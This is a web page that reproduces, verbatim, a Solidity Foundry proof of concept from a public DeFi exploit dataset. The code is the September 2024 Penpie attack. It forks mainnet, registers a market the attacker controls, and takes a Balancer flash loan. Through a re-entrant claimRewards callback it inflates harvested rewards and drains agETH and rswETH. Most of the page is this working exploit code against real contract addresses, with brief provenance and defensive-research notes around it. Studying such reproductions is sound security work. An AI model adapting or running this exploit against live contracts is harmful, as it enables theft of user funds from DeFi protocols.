Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/Penpiexyzio_exp.sol

Public reproduction file for dataset entry Penpiexyz_io.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/Penpiexyzio_exp.sol448 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
8
9// Contrasts involved
10address constant agETH = 0xe1B4d34E8754600962Cd944B535180Bd758E6c2e;
11address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
12address constant rswETH = 0xFAe103DC9cf190eD75350761e95403b7b8aFa6c0;
13address constant PENDLE_LPT_0x6010 = 0x6010676Bc2534652aD1Ef5Fa8073DcF9AD7EBFBe;
14address constant PENDLE_LPT_0x038c = 0x038C1b03daB3B891AfbCa4371ec807eDAa3e6eB6;
15address constant PendleRouterV4 = 0x888888888889758F76e7103c6CbF23ABbF58F946;
16address constant MasterPenpie = 0x16296859C15289731521F199F0a5f762dF6347d0;
17address constant PendleYieldContractFactory = 0x35A338522a435D46f77Be32C70E215B813D0e3aC;
18address constant PendleMarketFactoryV3 = 0x6fcf753f2C67b83f7B09746Bbc4FA0047b35D050;
19address constant PendleMarketRegisterHelper = 0xd20c245e1224fC2E8652a283a8f5cAE1D83b353a;
20address constant PendleMarketDepositHelper_0x1c1f = 0x1C1Fb35334290b5ff1bF7B4c09130885b10Fc0f4;
21address constant PendleStaking_0x6e79 = 0x6E799758CEE75DAe3d84e09D40dc416eCf713652;
23contract Penpiexyz_io_exp is Test {
24 Attacker attacker;
26 function setUp() public {
27 vm.createSelectFork("mainnet", 20_671_878 - 1);
28 }
30 function testPoC_A() public {
31 attacker = new Attacker();
33 // First tx: 0x7e7f9548f301d3dd863eac94e6190cb742ab6aa9d7730549ff743bf84cbd21d1
34 attacker.createMarket();
36 // To pass `if (lastRewardBlock != block.number) {` of PendleMarketV3 contract
37 vm.roll(block.number + 1);
39 // Second tx: 0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5
40 attacker.attack();
42 console.log("Final balance in agETH :", IERC20(agETH).balanceOf(address(attacker)));
43 console.log("Final balance in rswETH:", IERC20(rswETH).balanceOf(address(attacker)));
44 }
47// Minimum contract just to make the hack work
48abstract contract ERC20 {
49 string public name = "";
50 string public symbol = "";
51 uint8 public immutable decimals = 18;
52 mapping(address => uint256) public balanceOf;
54 function transfer(address to, uint256 amount) public virtual returns (bool) {
55 balanceOf[to] += amount;
56 }
58 function _mint(address to, uint256 amount) internal virtual {
59 balanceOf[to] += amount;
60 }
63contract Attacker is ERC20 {
64 address PENDLE_LPT; // Equal to PENDLE_LPT_0x5b6c = 0x5b6c23aedf704D19d6D8e921E638e8AE03cDCa82; of the original hack transaction
66 uint256 saved_bal;
67 uint256 saved_bal1;
68 uint256 saved_bal2;
69 uint256 saved_value;
71 function assetInfo() external view returns (uint8, address, uint8) {
72 return (0, address(this), 8);
73 }
75 function exchangeRate() external view returns (uint256 res) {
76 return 1 ether;
77 }
79 function getRewardTokens() external view returns (address[] memory) {
80 if (PENDLE_LPT == msg.sender) {
81 address[] memory tokens = new address[](2);
82 tokens[0] = PENDLE_LPT_0x6010;
83 tokens[1] = PENDLE_LPT_0x038c;
84 return tokens;
85 }
86 }
88 function rewardIndexesCurrent() external returns (uint256[] memory) {}
90 uint256 claimRewardsCall;
92 function claimRewards(
93 address user
94 ) external returns (uint256[] memory rewardAmounts) {
95 if (claimRewardsCall == 0) {
96 claimRewardsCall++;
97 return new uint256[](0);
98 }
100 if (claimRewardsCall == 1) {
101 IERC20(agETH).approve(PendleRouterV4, type(uint256).max);
102 uint256 bal_agETH = IERC20(agETH).balanceOf(address(this));
104 {
105 Interfaces.SwapData memory swapData = Interfaces.SwapData(
106 Interfaces.SwapType.NONE, // SwapType swapType;
107 address(0), // address extRouter;
108 "", // bytes extCalldata;
109 false // bool needScale;
110 );
111 Interfaces.TokenInput memory input = Interfaces.TokenInput(
112 agETH, // address tokenIn;
113 bal_agETH, // uint256 netTokenIn;
114 agETH, // address tokenMintSy;
115 address(0), // address pendleSwap;
116 swapData
117 );
118 Interfaces(PendleRouterV4).addLiquiditySingleTokenKeepYt(
119 address(this), // address receiver,
120 PENDLE_LPT_0x6010, // address market,
121 1, // uint256 minLpOut,
122 1, // uint256 minYtOut,
123 input // TokenInput calldata input
124 );
125 }
127 saved_bal = IERC20(PENDLE_LPT_0x6010).balanceOf(address(this));
128 IERC20(PENDLE_LPT_0x6010).approve(PendleStaking_0x6e79, saved_bal);
129 Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT_0x6010, saved_bal);
130 IERC20(rswETH).approve(PendleRouterV4, type(uint256).max);
131 uint256 bal_rswETH = IERC20(rswETH).balanceOf(address(this));
133 {
134 Interfaces.SwapData memory swapData = Interfaces.SwapData(
135 Interfaces.SwapType.NONE, // SwapType swapType;
136 address(0), // address extRouter;
137 "", // bytes extCalldata;
138 false // bool needScale;
139 );
140 Interfaces.TokenInput memory input = Interfaces.TokenInput(
141 rswETH, // address tokenIn;
142 bal_rswETH, // uint256 netTokenIn;
143 rswETH, // address tokenMintSy;
144 address(0), // address pendleSwap;
145 swapData
146 );
147 (saved_value,,,) = Interfaces(PendleRouterV4).addLiquiditySingleTokenKeepYt(
148 address(this), // address receiver,
149 PENDLE_LPT_0x038c, // address market,
150 1, // uint256 minLpOut,
151 1, // uint256 minYtOut,
152 input // TokenInput calldata input
153 );
154 }
156 uint256 bal_PENDLE_LPT_0x038c_this = IERC20(PENDLE_LPT_0x038c).balanceOf(address(this));
157 IERC20(PENDLE_LPT_0x038c).approve(PendleStaking_0x6e79, bal_PENDLE_LPT_0x038c_this);
159 Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT_0x038c, bal_PENDLE_LPT_0x038c_this);
160 }
161 }
163 function createMarket() external {
164 (address PT, address YT) =
165 Interfaces(PendleYieldContractFactory).createYieldContract(address(this), 1_735_171_200, true);
166 PENDLE_LPT = Interfaces(PendleMarketFactoryV3).createNewMarket(
167 PT, 23_352_202_321_000_000_000, 1_032_480_618_000_000_000, 1_998_002_662_000_000
168 );
169 Interfaces(PendleMarketRegisterHelper).registerPenpiePool(PENDLE_LPT);
171 _mint(address(YT), 1 ether);
173 Interfaces(YT).mintPY(address(this), address(this));
175 uint256 bal = IERC20(PT).balanceOf(address(this));
177 IERC20(PT).transfer(PENDLE_LPT, bal);
179 _mint(address(PENDLE_LPT), 1 ether);
181 Interfaces(PENDLE_LPT).mint(address(this), 1 ether, 1 ether);
183 IERC20(PENDLE_LPT).approve(PendleStaking_0x6e79, type(uint256).max);
185 Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT, 999_999_999_999_999_000);
186 }
188 // Second
190 function attack() external {
191 address[] memory tokens = new address[](2);
192 tokens[0] = agETH;
193 tokens[1] = rswETH;
194 uint256[] memory amounts = new uint256[](2);
195 saved_bal1 = IERC20(agETH).balanceOf(balancerVault);
196 amounts[0] = saved_bal1;
197 saved_bal2 = IERC20(rswETH).balanceOf(balancerVault);
198 amounts[1] = saved_bal2;
199 Interfaces(balancerVault).flashLoan(address(this), tokens, amounts, "");
200 }
202 function receiveFlashLoan(
203 address[] memory tokens,
204 uint256[] memory amounts,
205 uint256[] memory feeAmounts,
206 bytes memory userData
207 ) external {
208 address[] memory _markets = new address[](1);
209 _markets[0] = PENDLE_LPT;
210 Interfaces(PendleStaking_0x6e79).batchHarvestMarketRewards(_markets, 0);
212 Interfaces(MasterPenpie).multiclaim(_markets);
213 Interfaces(PendleMarketDepositHelper_0x1c1f).withdrawMarket(PENDLE_LPT_0x6010, saved_bal);
214 uint256 bal_this = IERC20(PENDLE_LPT_0x6010).balanceOf(address(this));
216 IERC20(PENDLE_LPT_0x6010).approve(PendleRouterV4, bal_this);
218 {
219 Interfaces.LimitOrderData memory limit = Interfaces.LimitOrderData(
220 address(0), // address limitRouter;
221 0, // uint256 epsSkipMarket; // only used for swap operations, will be ignored otherwise
222 new Interfaces.FillOrderParams[](0), // FillOrderParams[] normalFills;
223 new Interfaces.FillOrderParams[](0), // FillOrderParams[] flashFills;
224 "" // bytes optData;
225 );
227 Interfaces.SwapData memory swapData = Interfaces.SwapData(
228 Interfaces.SwapType.NONE, // SwapType swapType;
229 address(0), // address extRouter;
230 "", // bytes extCalldata;
231 false // bool needScale;
232 );
234 Interfaces.TokenOutput memory output = Interfaces.TokenOutput(
235 agETH, //address tokenOut;
236 0, //uint256 minTokenOut;
237 agETH, //address tokenRedeemSy;
238 address(0), //address pendleSwap;
239 swapData //SwapData swapData;
240 );
242 Interfaces(PendleRouterV4).removeLiquiditySingleToken(
243 address(this), //address receiver,
244 PENDLE_LPT_0x6010, //address market,
245 bal_this, //uint256 netLpToRemove,
246 output, //TokenOutput calldata output,
247 limit //LimitOrderData calldata limit
248 );
249 }
251 Interfaces(PendleMarketDepositHelper_0x1c1f).withdrawMarket(PENDLE_LPT_0x038c, saved_value);
253 uint256 bal_PENDLE_LPT_0x038c = IERC20(PENDLE_LPT_0x038c).balanceOf(address(this));
254 IERC20(PENDLE_LPT_0x038c).approve(PendleRouterV4, bal_PENDLE_LPT_0x038c);
256 {
257 Interfaces.LimitOrderData memory limit = Interfaces.LimitOrderData(
258 address(0), // address limitRouter;
259 0, // uint256 epsSkipMarket; // only used for swap operations, will be ignored otherwise
260 new Interfaces.FillOrderParams[](0), // FillOrderParams[] normalFills;
261 new Interfaces.FillOrderParams[](0), // FillOrderParams[] flashFills;
262 "" // bytes optData;
263 );
265 Interfaces.SwapData memory swapData = Interfaces.SwapData(
266 Interfaces.SwapType.NONE, // SwapType swapType;
267 address(0), // address extRouter;
268 "", // bytes extCalldata;
269 false // bool needScale;
270 );
272 Interfaces.TokenOutput memory output = Interfaces.TokenOutput(
273 rswETH, //address tokenOut;
274 0, //uint256 minTokenOut;
275 rswETH, //address tokenRedeemSy;
276 address(0), //address pendleSwap;
277 swapData //SwapData swapData;
278 );
280 Interfaces(PendleRouterV4).removeLiquiditySingleToken(
281 address(this), //address receiver,
282 PENDLE_LPT_0x038c, //address market,
283 bal_PENDLE_LPT_0x038c, //uint256 netLpToRemove,
284 output, //TokenOutput calldata output,
285 limit //LimitOrderData calldata limit
286 );
287 }
289 IERC20(agETH).balanceOf(address(this));
290 IERC20(agETH).transfer(balancerVault, saved_bal1);
291 IERC20(rswETH).balanceOf(address(this));
292 IERC20(rswETH).transfer(balancerVault, saved_bal2);
293 }
296interface Interfaces {
297 // PendleYieldContractFactory
298 function createYieldContract(
299 address SY,
300 uint32 expiry,
301 bool doCacheIndexSameBlock
302 ) external returns (address PT, address YT);
304 // PendleMarketFactoryV3
305 function createNewMarket(
306 address PT,
307 int256 scalarRoot,
308 int256 initialAnchor,
309 uint80 lnFeeRateRoot
310 ) external returns (address market);
312 // PendleMarketRegisterHelper
313 function registerPenpiePool(
314 address _market
315 ) external;
317 // PendleYieldToken
318 function mintPY(address receiverPT, address receiverYT) external returns (uint256 amountPYOut);
320 // PendleMarketV3
321 function mint(
322 address receiver,
323 uint256 netSyDesired,
324 uint256 netPtDesired
325 ) external returns (uint256 netLpOut, uint256 netSyUsed, uint256 netPtUsed);
327 function redeemRewards(
328 address user
329 ) external returns (uint256[] memory);
331 // PendleMarketDepositHelper_0x1c1f
332 function depositMarket(address _market, uint256 _amount) external;
333 function withdrawMarket(address _market, uint256 _amount) external;
335 // balancerVault
336 function flashLoan(
337 address recipient,
338 address[] memory tokens,
339 uint256[] memory amounts,
340 bytes memory userData
341 ) external;
343 // PendleStaking_0x6e79
344 struct Pool {
345 address market;
346 address rewarder;
347 address helper;
348 address receiptToken;
349 uint256 lastHarvestTime;
350 bool isActive;
351 }
353 function pools(
354 address
355 ) external view returns (Pool memory);
357 function batchHarvestMarketRewards(address[] calldata _markets, uint256 minEthToRecieve) external;
359 function harvestMarketReward(address _market, address _caller, uint256 _minEthRecive) external;
361 // PendleRouterV4
362 enum SwapType {
363 NONE,
364 KYBERSWAP,
365 ONE_INCH,
366 ETH_WETH
367 }
369 struct SwapData {
370 SwapType swapType;
371 address extRouter;
372 bytes extCalldata;
373 bool needScale;
374 }
376 struct TokenInput {
377 address tokenIn;
378 uint256 netTokenIn;
379 address tokenMintSy;
380 address pendleSwap;
381 SwapData swapData;
382 }
384 function addLiquiditySingleTokenKeepYt(
385 address receiver,
386 address market,
387 uint256 minLpOut,
388 uint256 minYtOut,
389 TokenInput calldata input
390 ) external payable returns (uint256 netLpOut, uint256 netYtOut, uint256 netSyMintPy, uint256 netSyInterm);
392 enum OrderType {
393 SY_FOR_PT,
394 PT_FOR_SY,
395 SY_FOR_YT,
396 YT_FOR_SY
397 }
399 struct Order {
400 uint256 salt;
401 uint256 expiry;
402 uint256 nonce;
403 OrderType orderType;
404 address token;
405 address YT;
406 address maker;
407 address receiver;
408 uint256 makingAmount;
409 uint256 lnImpliedRate;
410 uint256 failSafeRate;
411 bytes permit;
412 }
414 struct FillOrderParams {
415 Order order;
416 bytes signature;
417 uint256 makingAmount;
418 }
420 struct LimitOrderData {
421 address limitRouter;
422 uint256 epsSkipMarket;
423 FillOrderParams[] normalFills;
424 FillOrderParams[] flashFills;
425 bytes optData;
426 }
428 struct TokenOutput {
429 address tokenOut;
430 uint256 minTokenOut;
431 address tokenRedeemSy;
432 address pendleSwap;
433 SwapData swapData;
434 }
436 function removeLiquiditySingleToken(
437 address receiver,
438 address market,
439 uint256 netLpToRemove,
440 TokenOutput calldata output,
441 LimitOrderData calldata limit
442 ) external returns (uint256 netTokenOut, uint256 netSyFee, uint256 netSyInterm);
444 // MasterPenpie
445 function multiclaim(
446 address[] calldata _stakingTokens
447 ) external;

Analysis

Dataset entry

Public Foundry test for “Penpiexyz_io” (2024-09-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Penpiexyz_io
Path
src/test/2024-09/Penpiexyzio_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
82434ff0ee2035ce0cee696ffeb1cc5ac0fdfb1a
Language
Solidity
Size
449 lines
Date
2024-09-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/Penpiexyzio_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 82434ff0ee2035ce0cee696ffeb1cc5ac0fdfb1a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.